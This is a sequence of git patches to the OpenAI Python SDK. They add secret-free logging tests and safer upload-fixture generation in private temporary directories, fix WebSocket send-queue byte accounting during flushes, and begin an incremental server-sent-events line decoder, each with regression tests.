+ assert f"HTTP Response: {expected} 200" in messages
+ assert FAKE_SECRET.upper() not in "\n".join(messages)
+
+
+@pytest.mark.parametrize("setting", ["debug", "info"])
+@pytest.mark.parametrize("asynchronous", [False, True])
+async def test_sdk_log_switch_does_not_enable_transport_payloads(
+ setting: str, asynchronous: bool, monkeypatch: pytest.MonkeyPatch, caplog: pytest.LogCaptureFixture
+) -> None:
+ from openai._utils._logs import setup_logging
+
+ # Exercise the documented switch with normal application logging defaults.
+ with (
+ caplog.at_level(logging.WARNING),
+ caplog.at_level(logging.NOTSET, logger="httpx2"),
+ caplog.at_level(logging.WARNING, logger="openai"),
+ ):
+ monkeypatch.setattr(caplog.handler, "level", logging.NOTSET)
+ monkeypatch.setenv("OPENAI_LOG", setting)
+ setup_logging()
+ if asynchronous:
+ async with AsyncOpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(echo_request)),
+ ) as async_client:
+ assert await async_client.request(object, request_options("json")) == {"result": FAKE_SECRET}
+ else:
+ with OpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(echo_request)),
+ ) as client:
+ assert client.request(object, request_options("json")) == {"result": FAKE_SECRET}
+ assert logging.getLogger("httpx2").level == logging.NOTSET
+ assert not any(FAKE_SECRET in record.getMessage() or FAKE_SECRET in repr(record.args) for record in caplog.records)
diff --git a/tests/test_utils/test_logging.py b/tests/test_utils/test_logging.py
index b7c53f5cae..1ec67acd68 100644
--- a/tests/test_utils/test_logging.py
+++ b/tests/test_utils/test_logging.py
@@ -102,14 +102,17 @@ def test_standard_debug_msg(logger_with_filter: logging.Logger, caplog: pytest.L
@pytest.mark.parametrize(("setting", "level"), [("debug", logging.DEBUG), ("info", logging.INFO)])
-def test_httpx2_logger_follows_sdk_log_level(setting: str, level: int, monkeypatch: pytest.MonkeyPatch) -> None:
+@pytest.mark.parametrize("transport_level", [logging.WARNING, logging.DEBUG])
+def test_sdk_log_level_preserves_transport_configuration(
+ setting: str, level: int, transport_level: int, monkeypatch: pytest.MonkeyPatch
+) -> None:
sdk_logger = logging.getLogger("openai")
transport_logger = logging.getLogger("httpx2")
monkeypatch.setattr(sdk_logger, "level", sdk_logger.level)
- monkeypatch.setattr(transport_logger, "level", transport_logger.level)
+ monkeypatch.setattr(transport_logger, "level", transport_level)
monkeypatch.setenv("OPENAI_LOG", setting)
setup_logging()
assert sdk_logger.level == level
- assert transport_logger.level == level
+ assert transport_logger.level == transport_level
From f36e6f79662b22e9d8f1660d4576b4b15cd8ac76 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 21:14:33 +0000
Subject: [PATCH 043/341] fix: create upload example fixtures in private
directories (#3686)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
- Generate each upload fixture pair in a fresh private temporary
directory, refuse existing output files, and clean up incomplete
generation.
- Print the generated directory for explicit use by the upload example;
retain disk and in-memory modes and document caller cleanup.
- Add a bounded byte-count option and focused local regression tests. No
SDK runtime, API, dependency, Python-version, or generated-code changes;
no Castiron follow-up is needed.
## Validation
- 20 focused tests passed using fake/local fixtures and a mocked upload
client.
- Shell syntax, Python compilation, repository-wide Ruff, focused
formatting, mypy, and repository-pinned Pyright passed.
- Independent read-only Codex review round 1 was clean (no actionable
P0–P2 findings).
- No live-service probes or full-size fixture generation.
This is an independent PR against public main. SDK CODEOWNER review
requested for the example file-handling change.
---
examples/generate_file.sh | 27 ++++--
examples/uploads.py | 34 +++++---
tests/test_upload_examples.py | 154 ++++++++++++++++++++++++++++++++++
3 files changed, 199 insertions(+), 16 deletions(-)
create mode 100644 tests/test_upload_examples.py
diff --git a/examples/generate_file.sh b/examples/generate_file.sh
index ff07d096be..710327b946 100644
--- a/examples/generate_file.sh
+++ b/examples/generate_file.sh
@@ -1,10 +1,27 @@
-# generate a text file with random data for testing file uploads
-wanted_size=$((1024*2048*512))
+#!/usr/bin/env bash
+
+set -euo pipefail
+set -C # Refuse to overwrite an existing fixture, including a symlink.
+umask 077
+
+# Generate random text and a sparse upload fixture (1 GiB by default).
+# Pass a smaller byte count for a quick test. Print only the directory to stdout.
+wanted_size=${1-1073741824}
+if [[ $# -gt 1 || ! $wanted_size =~ ^[1-9][0-9]{0,9}$ ]] || (( wanted_size > 1073741824 )); then
+ echo "Usage: bash examples/generate_file.sh [bytes: 1..1073741824]" >&2
+ exit 2
+fi
file_size=$(( ((wanted_size/12)+1)*12 ))
read_size=$((file_size*3/4))
-echo "wanted=$wanted_size file=$file_size read=$read_size"
+fixture_dir=$(mktemp -d "${TMPDIR:-/tmp}/openai-upload.XXXXXXXXXX")
+trap 'rm -rf -- "$fixture_dir"' EXIT
+trap 'exit 1' HUP INT TERM
-dd if=/dev/urandom bs=$read_size count=1 | base64 > /tmp/small_test_file.txt
+head -c "$read_size" /dev/urandom | base64 > "$fixture_dir/small_test_file.txt"
+: > "$fixture_dir/big_test_file.txt"
+truncate -s "$wanted_size" "$fixture_dir/big_test_file.txt"
-truncate -s "$wanted_size" /tmp/big_test_file.txt
+printf '%s\n' "$fixture_dir"
+# Successful fixtures belong to the caller; see uploads.py for cleanup.
+trap - EXIT
diff --git a/examples/uploads.py b/examples/uploads.py
index c3896b365b..bf799c47e6 100644
--- a/examples/uploads.py
+++ b/examples/uploads.py
@@ -1,17 +1,18 @@
-import sys
+import argparse
from pathlib import Path
import rich
from openai import OpenAI
-# generate this file using `./generate_file.sh`
-file = Path("/tmp/big_test_file.txt")
+# From the repository root, generate fixtures and clean up when finished:
+# fixture_dir=$(bash examples/generate_file.sh 1048576)
+# uv run --locked --all-extras python examples/uploads.py "$fixture_dir/big_test_file.txt"
+# rm -r -- "$fixture_dir"
+# Omit the byte count for 1 GiB. Add "memory" to demonstrate an in-memory upload.
-client = OpenAI()
-
-def from_disk() -> None:
+def from_disk(client: OpenAI, file: Path) -> None:
print("uploading file from disk")
upload = client.uploads.upload_file_chunked(
@@ -22,7 +23,7 @@ def from_disk() -> None:
rich.print(upload)
-def from_in_memory() -> None:
+def from_in_memory(client: OpenAI, file: Path) -> None:
print("uploading file from memory")
# read the data into memory ourselves to simulate
@@ -40,7 +41,18 @@ def from_in_memory() -> None:
rich.print(upload)
-if "memory" in sys.argv:
- from_in_memory()
-else:
- from_disk()
+def main() -> None:
+ parser = argparse.ArgumentParser(description="Upload a file generated by examples/generate_file.sh")
+ parser.add_argument("file", type=Path)
+ parser.add_argument("mode", nargs="?", choices=("disk", "memory"), default="disk")
+ args = parser.parse_args()
+
+ with OpenAI() as client:
+ if args.mode == "memory":
+ from_in_memory(client, args.file)
+ else:
+ from_disk(client, args.file)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/test_upload_examples.py b/tests/test_upload_examples.py
new file mode 100644
index 0000000000..43465ffabd
--- /dev/null
+++ b/tests/test_upload_examples.py
@@ -0,0 +1,154 @@
+from __future__ import annotations
+
+import os
+import sys
+import stat
+import runpy
+import base64
+import shutil
+import subprocess
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+ROOT = Path(__file__).resolve().parents[1]
+GENERATOR = ROOT / "examples/generate_file.sh"
+FIXTURE_NAMES = ("small_test_file.txt", "big_test_file.txt")
+
+
+@pytest.fixture
+def fixture_root(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
+ if os.name != "posix" or any(
+ shutil.which(tool) is None for tool in ("bash", "mktemp", "head", "base64", "truncate")
+ ):
+ pytest.skip("The fixture generator requires POSIX shell tools")
+ root = tmp_path / "fixtures with spaces"
+ root.mkdir()
+ monkeypatch.setenv("TMPDIR", str(root))
+ return root
+
+
+def generate(*args: str) -> subprocess.CompletedProcess[str]:
+ return subprocess.run(["bash", str(GENERATOR), *args], capture_output=True, text=True, timeout=10, check=False)
+
+
+def fake_command(tmp_path: Path, monkeypatch: pytest.MonkeyPatch, name: str, body: str) -> None:
+ bin_dir = tmp_path / "bin"
+ bin_dir.mkdir(exist_ok=True)
+ executable = bin_dir / name
+ executable.write_text("#!/bin/sh\nset -eu\n" + body + "\n")
+ executable.chmod(0o700)
+ monkeypatch.setenv("PATH", str(bin_dir) + os.pathsep + os.environ["PATH"])
+
+
+def test_generator_uses_unique_private_directories(fixture_root: Path) -> None:
+ target = fixture_root / "untouched"
+ target.write_bytes(b"harmless sentinel")
+ for name in FIXTURE_NAMES:
+ (fixture_root / name).symlink_to(target)
+
+ directories: set[Path] = set()
+ for _ in range(2):
+ result = generate("24")
+ assert result.returncode == 0, result.stderr
+ directory = Path(result.stdout.strip())
+ assert directory.parent == fixture_root
+ assert directory not in directories
+ directories.add(directory)
+ assert stat.S_IMODE(directory.stat().st_mode) == 0o700
+ assert {path.name for path in directory.iterdir()} == set(FIXTURE_NAMES)
+ for name in FIXTURE_NAMES:
+ assert stat.S_IMODE((directory / name).stat().st_mode) == 0o600
+ text = (directory / FIXTURE_NAMES[0]).read_bytes()
+ assert len(base64.b64decode(text)) == 27
+ assert (directory / FIXTURE_NAMES[1]).read_bytes() == bytes(24)
+ shutil.rmtree(directory)
+
+ assert target.read_bytes() == b"harmless sentinel"
+ assert all((fixture_root / name).is_symlink() for name in FIXTURE_NAMES)
+
+
+@pytest.mark.parametrize("name", FIXTURE_NAMES)
+@pytest.mark.parametrize("kind", ["file", "symlink", "dangling-symlink"])
+def test_generator_refuses_existing_fixture(
+ fixture_root: Path, tmp_path: Path, monkeypatch: pytest.MonkeyPatch, name: str, kind: str
+) -> None:
+ # Simulate an unexpected entry inside the newly allocated private directory.
+ # The only possible link target is a harmless file owned by this test.
+ directory = fixture_root / "allocated"
+ directory.mkdir(mode=0o700)
+ target = fixture_root / "sentinel"
+ if kind != "dangling-symlink":
+ target.write_bytes(b"harmless sentinel")
+ entry = directory / name
+ if kind == "file":
+ entry.write_bytes(b"existing fixture")
+ else:
+ entry.symlink_to(target)
+ monkeypatch.setenv("ALLOCATED_FIXTURE_DIR", str(directory))
+ fake_command(tmp_path, monkeypatch, "mktemp", 'printf "%s\\n" "$ALLOCATED_FIXTURE_DIR"')
+
+ result = generate("24")
+ assert result.returncode != 0
+ assert result.stdout == ""
+ assert not directory.exists()
+ if kind == "dangling-symlink":
+ assert not target.exists()
+ else:
+ assert target.read_bytes() == b"harmless sentinel"
+
+
+@pytest.mark.parametrize("command", ["head", "base64", "truncate"])
+def test_generator_cleans_up_on_failure(
+ fixture_root: Path, tmp_path: Path, monkeypatch: pytest.MonkeyPatch, command: str
+) -> None:
+ fake_command(tmp_path, monkeypatch, command, "exit 9")
+ result = generate("24")
+ assert result.returncode != 0
+ assert result.stdout == ""
+ assert list(fixture_root.iterdir()) == []
+
+
+@pytest.mark.parametrize("args", [("",), ("0",), ("-1",), ("024",), ("1073741825",), ("x",), ("24", "extra")])
+def test_generator_rejects_invalid_size(fixture_root: Path, args: tuple[str, ...]) -> None:
+ result = generate(*args)
+ assert result.returncode == 2
+ assert result.stdout == ""
+ assert list(fixture_root.iterdir()) == []
+
+
+@pytest.mark.parametrize("mode", ["disk", "memory"])
+def test_upload_example_consumes_explicit_path(fixture_root: Path, monkeypatch: pytest.MonkeyPatch, mode: str) -> None:
+ result = generate("24")
+ assert result.returncode == 0, result.stderr
+ directory = Path(result.stdout.strip())
+ file = directory / "big_test_file.txt"
+ args = [str(ROOT / "examples/uploads.py"), str(file)]
+ if mode == "memory":
+ args.append(mode)
+ monkeypatch.setattr(sys, "argv", args)
+
+ with patch("openai.OpenAI") as constructor, patch("rich.print"):
+ client = constructor.return_value.__enter__.return_value
+ runpy.run_path(str(ROOT / "examples/uploads.py"), run_name="__main__")
+ if mode == "memory":
+ client.uploads.upload_file_chunked.assert_called_once_with(
+ file=bytes(24), filename="my_file.txt", bytes=24, mime_type="txt", purpose="batch"
+ )
+ else:
+ client.uploads.upload_file_chunked.assert_called_once_with(file=file, mime_type="txt", purpose="batch")
+ constructor.return_value.__exit__.assert_called_once()
+
+ # The example does not delete caller-owned files; the documented caller cleans up.
+ assert file.read_bytes() == bytes(24)
+ shutil.rmtree(directory)
+ assert list(fixture_root.iterdir()) == []
+
+
+def test_upload_example_requires_a_path(monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr(sys, "argv", [str(ROOT / "examples/uploads.py")])
+ with patch("openai.OpenAI") as constructor, pytest.raises(SystemExit) as exc:
+ runpy.run_path(str(ROOT / "examples/uploads.py"), run_name="__main__")
+ assert exc.value.code == 2
+ constructor.assert_not_called()
From 96f966d77bddc7449ae23fda5b29ef44c3f98cc2 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 21:19:13 +0000
Subject: [PATCH 044/341] fix: preserve WebSocket send queue byte accounting
during flush (#3688)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
Keep queued and in-flight messages charged to the existing byte limit
until each send succeeds. Serialize overlapping flushes, preserve FIFO
restoration on errors or cancellation, and keep concurrent drains from
releasing pending-message capacity.
The change is confined to the shared SendQueue helper and focused
queue/reconnect tests. It preserves ordinary enqueue/backpressure
behavior and does not change generated connection APIs, logging,
dependencies, or Python support. This PR targets public main
independently; no stacking dependency.
## Validation
- 34 focused synchronous/asynchronous queue and mocked reconnect tests
passed, covering all six GA/beta Responses and Realtime connection
classes.
- Repository-wide Ruff, mypy (1,562 source files), and pinned Pyright
passed; changed-file formatting and git diff checks passed.
- Separate read-only Codex review round 1 was clean (no actionable P0–P2
findings), including 20 repeated focused-suite runs.
- Local environment used the exact committed frozen lockfile because the
public-main lock freshness check requested an update; no dependency
files changed.
## Generation follow-up
SDK CODEOWNER review requested. Carry the shared-helper accounting
behavior and regression coverage into the corresponding Castiron
source/template so regeneration preserves it; no generated resource
patch is needed here.
---
src/openai/_send_queue.py | 65 +++++---
tests/test_send_queue.py | 239 +++++++++++++++++++++++++++++
tests/test_send_queue_reconnect.py | 99 ++++++++++++
3 files changed, 380 insertions(+), 23 deletions(-)
create mode 100644 tests/test_send_queue_reconnect.py
diff --git a/src/openai/_send_queue.py b/src/openai/_send_queue.py
index 4961fc1426..56d7824422 100644
--- a/src/openai/_send_queue.py
+++ b/src/openai/_send_queue.py
@@ -2,6 +2,9 @@
import typing
import threading
+from collections import deque
+
+import anyio.to_thread
from ._exceptions import WebSocketQueueFullError
@@ -19,6 +22,7 @@ def __init__(self, max_bytes: int = 1_048_576) -> None:
self._bytes: int = 0
self._max_bytes = max_bytes
self._lock = threading.Lock()
+ self._flush_done: threading.Event | None = None
def enqueue(self, data: str) -> None:
"""Append *data* to the queue.
@@ -39,44 +43,59 @@ def flush_sync(self, send: typing.Callable[[str], object]) -> None:
If *send* raises, the failing message and all subsequent messages
are re-queued and the error is re-raised.
"""
- with self._lock:
- pending = list(self._queue)
- self._queue.clear()
- self._bytes = 0
+ while isinstance(pending := self._begin_flush(), threading.Event):
+ pending.wait()
- for i, (data, _byte_length) in enumerate(pending):
- try:
+ try:
+ while pending:
+ data, byte_length = pending[0]
send(data)
- except Exception:
with self._lock:
- remaining = pending[i:]
- self._queue = remaining + self._queue
- self._bytes = sum(bl for _, bl in self._queue)
- raise
+ pending.popleft()
+ self._bytes -= byte_length
+ finally:
+ self._end_flush(pending)
async def flush_async(self, send: typing.Callable[[str], typing.Awaitable[object]]) -> None:
"""Async variant of :meth:`flush_sync`."""
+ while isinstance(pending := self._begin_flush(), threading.Event):
+ # Waiting in a worker keeps the event loop responsive. Cancellation
+ # cannot strand ownership: the worker only waits, never acquires it.
+ await anyio.to_thread.run_sync(pending.wait, abandon_on_cancel=True)
+
+ try:
+ while pending:
+ data, byte_length = pending[0]
+ await send(data)
+ with self._lock:
+ pending.popleft()
+ self._bytes -= byte_length
+ finally:
+ self._end_flush(pending)
+
+ def _begin_flush(self) -> deque[tuple[str, int]] | threading.Event:
with self._lock:
- pending = list(self._queue)
+ if self._flush_done is not None:
+ return self._flush_done
+ pending = deque(self._queue)
self._queue.clear()
- self._bytes = 0
+ self._flush_done = threading.Event()
+ # Pending messages remain charged until their sends succeed.
+ return pending
- for i, (data, _byte_length) in enumerate(pending):
- try:
- await send(data)
- except Exception:
- with self._lock:
- remaining = pending[i:]
- self._queue = remaining + self._queue
- self._bytes = sum(bl for _, bl in self._queue)
- raise
+ def _end_flush(self, pending: deque[tuple[str, int]]) -> None:
+ with self._lock:
+ self._queue = list(pending) + self._queue
+ assert self._flush_done is not None
+ self._flush_done.set()
+ self._flush_done = None
def drain(self) -> list[str]:
"""Remove and return all queued messages."""
with self._lock:
items = [data for data, _ in self._queue]
+ self._bytes -= sum(byte_length for _, byte_length in self._queue)
self._queue.clear()
- self._bytes = 0
return items
def __len__(self) -> int:
diff --git a/tests/test_send_queue.py b/tests/test_send_queue.py
index f3fe996c33..970a9ef9df 100644
--- a/tests/test_send_queue.py
+++ b/tests/test_send_queue.py
@@ -1,5 +1,9 @@
from __future__ import annotations
+import asyncio
+import threading
+from typing import Callable
+
import pytest
from openai._exceptions import WebSocketQueueFullError
@@ -124,3 +128,238 @@ def failing_send(data: str) -> None:
# "b" (failed) should come before "new" (added during flush)
remaining = q.drain()
assert remaining == ["b", "new"]
+
+
+async def flush_in_background(q: SendQueue, send: Callable[[str], None], asynchronous: bool) -> None:
+ if asynchronous:
+
+ async def async_send(data: str) -> None:
+ await asyncio.to_thread(send, data)
+
+ await q.flush_async(async_send)
+ else:
+ await asyncio.to_thread(q.flush_sync, send)
+
+
+async def wait_for_event(event: threading.Event) -> None:
+ assert await asyncio.to_thread(event.wait, 5), "send did not start"
+
+
+@pytest.mark.parametrize("asynchronous", [False, True], ids=["sync", "async"])
+@pytest.mark.asyncio
+async def test_repeated_failed_flushes_remain_bounded(asynchronous: bool) -> None:
+ q = SendQueue(max_bytes=6)
+ q.enqueue("éé") # Four UTF-8 bytes.
+ q.enqueue("a")
+
+ for attempt in range(3):
+ entered, release = threading.Event(), threading.Event()
+
+ def send(data: str, entered: threading.Event = entered, release: threading.Event = release) -> None:
+ assert data == "éé"
+ entered.set()
+ assert release.wait(5)
+ raise RuntimeError("fake send failure")
+
+ task = asyncio.create_task(flush_in_background(q, send, asynchronous))
+ try:
+ await wait_for_event(entered)
+ if attempt == 0:
+ q.enqueue("b")
+ with pytest.raises(WebSocketQueueFullError):
+ q.enqueue("c")
+ finally:
+ release.set()
+ with pytest.raises(RuntimeError, match="fake send failure"):
+ await task
+ assert q._bytes == 6
+
+ sent: list[str] = []
+ await flush_in_background(q, sent.append, asynchronous)
+ assert sent == ["éé", "a", "b"]
+ assert q._bytes == 0
+ q.enqueue("123456")
+
+
+@pytest.mark.parametrize("asynchronous", [False, True], ids=["sync", "async"])
+@pytest.mark.parametrize("fail", [False, True], ids=["success", "failure"])
+@pytest.mark.asyncio
+async def test_partial_flush_releases_only_successful_bytes(asynchronous: bool, fail: bool) -> None:
+ q = SendQueue(max_bytes=4)
+ q.enqueue("é")
+ q.enqueue("bb")
+ entered, release = threading.Event(), threading.Event()
+ sent: list[str] = []
+
+ def send(data: str) -> None:
+ if data == "bb":
+ entered.set()
+ assert release.wait(5)
+ if fail:
+ raise RuntimeError("fake send failure")
+ sent.append(data)
+
+ task = asyncio.create_task(flush_in_background(q, send, asynchronous))
+ try:
+ await wait_for_event(entered)
+ assert q._bytes == 2
+ q.enqueue("cc")
+ with pytest.raises(WebSocketQueueFullError):
+ q.enqueue("d")
+ finally:
+ release.set()
+ if fail:
+ with pytest.raises(RuntimeError, match="fake send failure"):
+ await task
+ else:
+ await task
+ assert sent == (["é"] if fail else ["é", "bb"])
+ assert q.drain() == (["bb", "cc"] if fail else ["cc"])
+ assert q._bytes == 0
+
+
+@pytest.mark.parametrize("asynchronous", [False, True], ids=["sync", "async"])
+@pytest.mark.asyncio
+async def test_drain_during_flush_keeps_pending_bytes_charged(asynchronous: bool) -> None:
+ q = SendQueue(max_bytes=4)
+ q.enqueue("aaa")
+ entered, release = threading.Event(), threading.Event()
+
+ def send(_data: str) -> None:
+ entered.set()
+ assert release.wait(5)
+ raise RuntimeError("fake send failure")
+
+ task = asyncio.create_task(flush_in_background(q, send, asynchronous))
+ try:
+ await wait_for_event(entered)
+ q.enqueue("b")
+ assert q.drain() == ["b"]
+ assert q._bytes == 3
+ q.enqueue("c")
+ with pytest.raises(WebSocketQueueFullError):
+ q.enqueue("d")
+ finally:
+ release.set()
+ with pytest.raises(RuntimeError, match="fake send failure"):
+ await task
+ assert q.drain() == ["aaa", "c"]
+ assert q._bytes == 0
+
+
+@pytest.mark.parametrize("first_async", [False, True], ids=["sync-first", "async-first"])
+@pytest.mark.parametrize("second_async", [False, True], ids=["sync-second", "async-second"])
+@pytest.mark.parametrize("fail", [False, True], ids=["success", "failure"])
+@pytest.mark.asyncio
+async def test_overlapping_flushes_preserve_order(first_async: bool, second_async: bool, fail: bool) -> None:
+ q = SendQueue(max_bytes=3)
+ q.enqueue("a")
+ q.enqueue("b")
+ entered, release, second_sent = threading.Event(), threading.Event(), threading.Event()
+ sent: list[str] = []
+
+ def first_send(data: str) -> None:
+ if data == "a":
+ entered.set()
+ assert release.wait(5)
+ if fail:
+ raise RuntimeError("fake send failure")
+ sent.append(data)
+
+ def second_send(data: str) -> None:
+ second_sent.set()
+ sent.append(data)
+
+ first = asyncio.create_task(flush_in_background(q, first_send, first_async))
+ await wait_for_event(entered)
+ q.enqueue("c")
+ second = asyncio.create_task(flush_in_background(q, second_send, second_async))
+ try:
+ # Neither kind of waiter may overtake the active flush.
+ assert not await asyncio.to_thread(second_sent.wait, 0.05)
+ finally:
+ release.set()
+ if fail:
+ with pytest.raises(RuntimeError, match="fake send failure"):
+ await first
+ else:
+ await first
+ await asyncio.wait_for(second, 5)
+ assert sent == ["a", "b", "c"]
+ assert q._bytes == 0
+
+
+@pytest.mark.asyncio
+async def test_cancelled_flush_restores_unsent_messages() -> None:
+ q = SendQueue(max_bytes=3)
+ q.enqueue("a")
+ q.enqueue("b")
+ entered = asyncio.Event()
+
+ async def send(data: str) -> None:
+ if data == "b":
+ entered.set()
+ await asyncio.Event().wait()
+
+ task = asyncio.create_task(q.flush_async(send))
+ await asyncio.wait_for(entered.wait(), 5)
+ q.enqueue("cc")
+ task.cancel()
+ with pytest.raises(asyncio.CancelledError):
+ await task
+ with pytest.raises(WebSocketQueueFullError):
+ q.enqueue("d")
+ sent: list[str] = []
+ q.flush_sync(sent.append)
+ assert sent == ["b", "cc"]
+ assert q._bytes == 0
+
+
+@pytest.mark.asyncio
+async def test_cancelled_flush_waiter_does_not_strand_ownership() -> None:
+ q = SendQueue(max_bytes=2)
+ q.enqueue("a")
+ entered, release = asyncio.Event(), asyncio.Event()
+ sent: list[str] = []
+
+ async def first_send(data: str) -> None:
+ entered.set()
+ await release.wait()
+ sent.append(data)
+
+ async def second_send(data: str) -> None:
+ sent.append(data)
+
+ first = asyncio.create_task(q.flush_async(first_send))
+ await asyncio.wait_for(entered.wait(), 5)
+ q.enqueue("b")
+ second = asyncio.create_task(q.flush_async(second_send))
+ await asyncio.sleep(0)
+ second.cancel()
+ with pytest.raises(asyncio.CancelledError):
+ await second
+ release.set()
+ await first
+ await asyncio.wait_for(q.flush_async(second_send), 5)
+ assert sent == ["a", "b"]
+ assert q._bytes == 0
+
+
+def test_interrupted_sync_flush_restores_unsent_messages() -> None:
+ q = SendQueue(max_bytes=2)
+ q.enqueue("a")
+ q.enqueue("b")
+
+ def send(data: str) -> None:
+ if data == "b":
+ raise KeyboardInterrupt
+
+ with pytest.raises(KeyboardInterrupt):
+ q.flush_sync(send)
+ q.enqueue("c")
+ with pytest.raises(WebSocketQueueFullError):
+ q.enqueue("d")
+ sent: list[str] = []
+ q.flush_sync(sent.append)
+ assert sent == ["b", "c"]
+ assert q._bytes == 0
diff --git a/tests/test_send_queue_reconnect.py b/tests/test_send_queue_reconnect.py
new file mode 100644
index 0000000000..008af801d4
--- /dev/null
+++ b/tests/test_send_queue_reconnect.py
@@ -0,0 +1,99 @@
+from __future__ import annotations
+
+from unittest.mock import AsyncMock, MagicMock
+
+import pytest
+
+from openai._exceptions import WebSocketQueueFullError
+from openai._send_queue import SendQueue
+from openai.resources.realtime.realtime import RealtimeConnection, AsyncRealtimeConnection
+from openai.resources.responses.responses import ResponsesConnection, AsyncResponsesConnection
+from openai.resources.beta.responses.responses import (
+ ResponsesConnection as BetaResponsesConnection,
+ AsyncResponsesConnection as AsyncBetaResponsesConnection,
+)
+
+
+@pytest.mark.parametrize("connection_type", [RealtimeConnection, ResponsesConnection, BetaResponsesConnection])
+def test_reconnect_retries_bounded_send_queue(
+ connection_type: type[RealtimeConnection] | type[ResponsesConnection] | type[BetaResponsesConnection],
+) -> None:
+ q = SendQueue(max_bytes=4)
+ q.enqueue("aaa")
+ ws = MagicMock()
+ attempts = 0
+
+ def failing_send(data: str) -> None:
+ nonlocal attempts
+ assert data == "aaa"
+ if attempts == 0:
+ q.enqueue("b")
+ attempts += 1
+ with pytest.raises(WebSocketQueueFullError):
+ q.enqueue("c")
+ raise RuntimeError("fake send failure")
+
+ ws.send.side_effect = failing_send
+ connection = connection_type(
+ ws,
+ send_queue=q,
+ make_ws=MagicMock(return_value=ws),
+ on_reconnecting=lambda _event: None,
+ initial_delay=0,
+ max_retries=1,
+ )
+ for _ in range(3):
+ assert connection._reconnect(RuntimeError("fake disconnect"))
+ assert q._bytes == 4
+ assert attempts == 3
+
+ sent: list[str] = []
+ ws.send.side_effect = sent.append
+ assert connection._reconnect(RuntimeError("fake disconnect"))
+ assert sent == ["aaa", "b"]
+ assert q._bytes == 0
+
+
+@pytest.mark.parametrize(
+ "connection_type", [AsyncRealtimeConnection, AsyncResponsesConnection, AsyncBetaResponsesConnection]
+)
+@pytest.mark.asyncio
+async def test_async_reconnect_retries_bounded_send_queue(
+ connection_type: type[AsyncRealtimeConnection]
+ | type[AsyncResponsesConnection]
+ | type[AsyncBetaResponsesConnection],
+) -> None:
+ q = SendQueue(max_bytes=4)
+ q.enqueue("aaa")
+ ws = MagicMock()
+ attempts = 0
+
+ async def failing_send(data: str) -> None:
+ nonlocal attempts
+ assert data == "aaa"
+ if attempts == 0:
+ q.enqueue("b")
+ attempts += 1
+ with pytest.raises(WebSocketQueueFullError):
+ q.enqueue("c")
+ raise RuntimeError("fake send failure")
+
+ ws.send = AsyncMock(side_effect=failing_send)
+ connection = connection_type(
+ ws,
+ send_queue=q,
+ make_ws=AsyncMock(return_value=ws),
+ on_reconnecting=lambda _event: None,
+ initial_delay=0,
+ max_retries=1,
+ )
+ for _ in range(3):
+ assert await connection._reconnect(RuntimeError("fake disconnect"))
+ assert q._bytes == 4
+ assert attempts == 3
+
+ sent: list[str] = []
+ ws.send.side_effect = sent.append
+ assert await connection._reconnect(RuntimeError("fake disconnect"))
+ assert sent == ["aaa", "b"]
+ assert q._bytes == 0
From 2598d530cf682784465e9f82558a830ac5f94486 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 22:11:15 +0000
Subject: [PATCH 045/341] fix: decode SSE incrementally without limiting event
size (#3687)
## Summary
- Share an amortized-linear incremental SSE line framer between
synchronous and asynchronous decoding.
- Process complete lines as they arrive so comments and ignored fields
are discarded before the event finishes.
- Preserve historical unlimited line/event sizes, CR/LF/CRLF framing,
UTF-8 chunking, and response cleanup. No new size-limit API,
dependencies, exported client APIs, or `[DONE]` drain changes.
This removes quadratic prefix copying and unnecessary whole-frame
retention. It does not impose a memory bound on arbitrarily large data
events or unfinished lines.
## Validation
- 62 focused streaming/framing tests passed, including synchronous and
asynchronous events larger than 64 MiB, fragmented and unterminated
input, all newline forms, transport interruption, and cancellation.
- Ruff, targeted Mypy, targeted Pyright, and `git diff --check` passed.
- Final separate local review (round 3 of 3) was clean at
`d3667578e1a4e8da9d1962bfd403d98f4a0f945c`; its exhaustive short-input
CR/LF fragmentation matrix also passed.
Independent PR against public main. Please confirm this handwritten
shared-runtime patch is preserved in the next Castiron Python candidate;
no schema or generation-metadata change is needed.
---
src/openai/_streaming.py | 107 ++++++++++++--------
tests/test_sse_framing.py | 203 ++++++++++++++++++++++++++++++++++++++
2 files changed, 271 insertions(+), 39 deletions(-)
create mode 100644 tests/test_sse_framing.py
diff --git a/src/openai/_streaming.py b/src/openai/_streaming.py
index 61ed058bd1..78e2d20aa7 100644
--- a/src/openai/_streaming.py
+++ b/src/openai/_streaming.py
@@ -1,6 +1,7 @@
# Note: initially copied from https://github.com/florimondmanca/httpx-sse/blob/master/src/httpx_sse/_decoders.py
from __future__ import annotations
+import re
import json
import inspect
from types import TracebackType
@@ -280,61 +281,89 @@ def __repr__(self) -> str:
return f"ServerSentEvent(event={self.event}, data={self.data}, id={self.id}, retry={self.retry})"
+_SSE_LINE_END = re.compile(b"[\\r\\n]")
+
+
+class _SSELineDecoder:
+ """Incrementally split CR, LF, and CRLF without copying growing prefixes."""
+
+ def __init__(self) -> None:
+ self._buffer = bytearray()
+ self._skip_lf = False
+
+ def _append(self, chunk: bytes, start: int, end: int) -> None:
+ self._buffer.extend(memoryview(chunk)[start:end])
+
+ def feed(self, chunk: bytes) -> Iterator[bytes]:
+ start = 0
+ for match in _SSE_LINE_END.finditer(chunk):
+ end = match.start()
+ if self._skip_lf and end == start and chunk[end] == 10:
+ self._skip_lf = False
+ start = end + 1
+ continue
+ self._skip_lf = False
+ self._append(chunk, start, end)
+ line = bytes(self._buffer)
+ self._buffer.clear()
+ self._skip_lf = chunk[end] == 13
+ start = end + 1
+ yield line
+ if start < len(chunk):
+ self._skip_lf = False
+ self._append(chunk, start, len(chunk))
+
